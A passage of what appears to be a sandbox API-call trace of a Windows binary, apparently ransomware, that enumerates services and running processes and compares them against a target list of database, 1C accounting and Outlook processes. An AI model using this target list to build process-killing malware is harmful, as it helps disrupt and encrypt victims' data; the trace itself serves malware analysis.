(lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0216.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0216.751] lstrlenW (lpString="BFE") returned 3 [0216.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0216.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0216.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0216.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0216.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0216.751] lstrlenW (lpString="CscService") returned 10 [0216.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0216.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0216.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0216.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0216.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0216.752] lstrlenW (lpString="DcomLaunch") returned 10 [0216.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0216.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0216.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0216.752] lstrlenW (lpString="Dhcp") returned 4 [0216.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0216.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0216.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0216.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0216.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0216.752] lstrlenW (lpString="Dnscache") returned 8 [0216.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0216.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0216.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0216.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0216.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0216.753] lstrlenW (lpString="eventlog") returned 8 [0216.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0216.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0216.754] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0216.754] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0216.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0216.755] lstrlenW (lpString="EventSystem") returned 11 [0216.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0216.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0216.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0216.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0216.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0216.755] lstrlenW (lpString="gpsvc") returned 5 [0216.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0216.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0216.755] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0216.755] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0216.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0216.755] lstrlenW (lpString="lmhosts") returned 7 [0216.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0216.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0216.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0216.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0216.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0216.756] lstrlenW (lpString="MMCSS") returned 5 [0216.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0216.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0216.756] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0216.756] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0216.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0216.756] lstrlenW (lpString="MpsSvc") returned 6 [0216.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0216.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0216.757] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0216.757] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0216.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0216.757] lstrlenW (lpString="nsi") returned 3 [0216.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0216.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0216.757] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0216.757] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0216.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0216.757] lstrlenW (lpString="PlugPlay") returned 8 [0216.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0216.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0216.758] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0216.758] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0216.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0216.758] lstrlenW (lpString="Power") returned 5 [0216.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0216.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0216.759] lstrlenW (lpString="ProfSvc") returned 7 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0216.759] lstrlenW (lpString="RpcEptMapper") returned 12 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0216.760] lstrlenW (lpString="RpcSs") returned 5 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0216.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0216.761] lstrlenW (lpString="SamSs") returned 5 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0216.762] lstrlenW (lpString="Schedule") returned 8 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0216.762] lstrlenW (lpString="SENS") returned 4 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0216.763] lstrlenW (lpString="ShellHWDetection") returned 16 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0216.763] lstrlenW (lpString="Spooler") returned 7 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0216.764] lstrlenW (lpString="Themes") returned 6 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0216.764] lstrlenW (lpString="UxSms") returned 5 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0216.765] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432d830 | out: hHeap=0x590000) returned 1 [0216.765] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0216.773] Process32FirstW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.775] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.776] lstrlenW (lpString="System") returned 6 [0216.777] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0216.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0216.777] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0216.777] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0216.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0216.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0216.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0216.778] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.779] lstrlenW (lpString="smss.exe") returned 8 [0216.779] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0216.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0216.779] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0216.779] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0216.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0216.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0216.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0216.780] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.781] lstrlenW (lpString="csrss.exe") returned 9 [0216.781] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0216.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0216.782] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0216.782] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0216.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0216.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0216.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0216.782] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.788] lstrlenW (lpString="wininit.exe") returned 11 [0216.788] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0216.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0216.789] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.790] lstrlenW (lpString="csrss.exe") returned 9 [0216.790] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0216.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0216.790] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0216.790] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0216.790] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0216.790] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0216.790] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0216.791] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.557] lstrlenW (lpString="winlogon.exe") returned 12 [0217.557] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0217.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0217.558] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0217.558] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0217.558] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0217.558] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0217.558] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0217.558] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.559] lstrlenW (lpString="services.exe") returned 12 [0217.559] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0217.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0217.559] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0217.559] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0217.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0217.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0217.560] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0217.560] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.561] lstrlenW (lpString="lsass.exe") returned 9 [0217.561] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0217.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0217.561] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0217.561] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0217.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0217.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0217.562] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0217.562] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0217.562] lstrlenW (lpString="lsm.exe") returned 7 [0217.563] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0217.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0217.563] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0217.563] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0217.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0217.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0217.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0217.563] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.564] lstrlenW (lpString="svchost.exe") returned 11 [0217.564] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.564] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.564] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.565] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.566] lstrlenW (lpString="svchost.exe") returned 11 [0217.566] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.566] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.567] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.568] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.569] lstrlenW (lpString="svchost.exe") returned 11 [0217.569] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.569] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.569] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.570] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.571] lstrlenW (lpString="svchost.exe") returned 11 [0217.571] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.571] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.571] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.572] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.572] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.572] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.572] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.573] lstrlenW (lpString="svchost.exe") returned 11 [0217.574] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.574] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.575] lstrlenW (lpString="audiodg.exe") returned 11 [0217.575] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0217.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0217.575] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0217.575] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0217.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0217.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0217.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0217.576] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.578] lstrlenW (lpString="svchost.exe") returned 11 [0217.578] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0217.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0217.579] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: 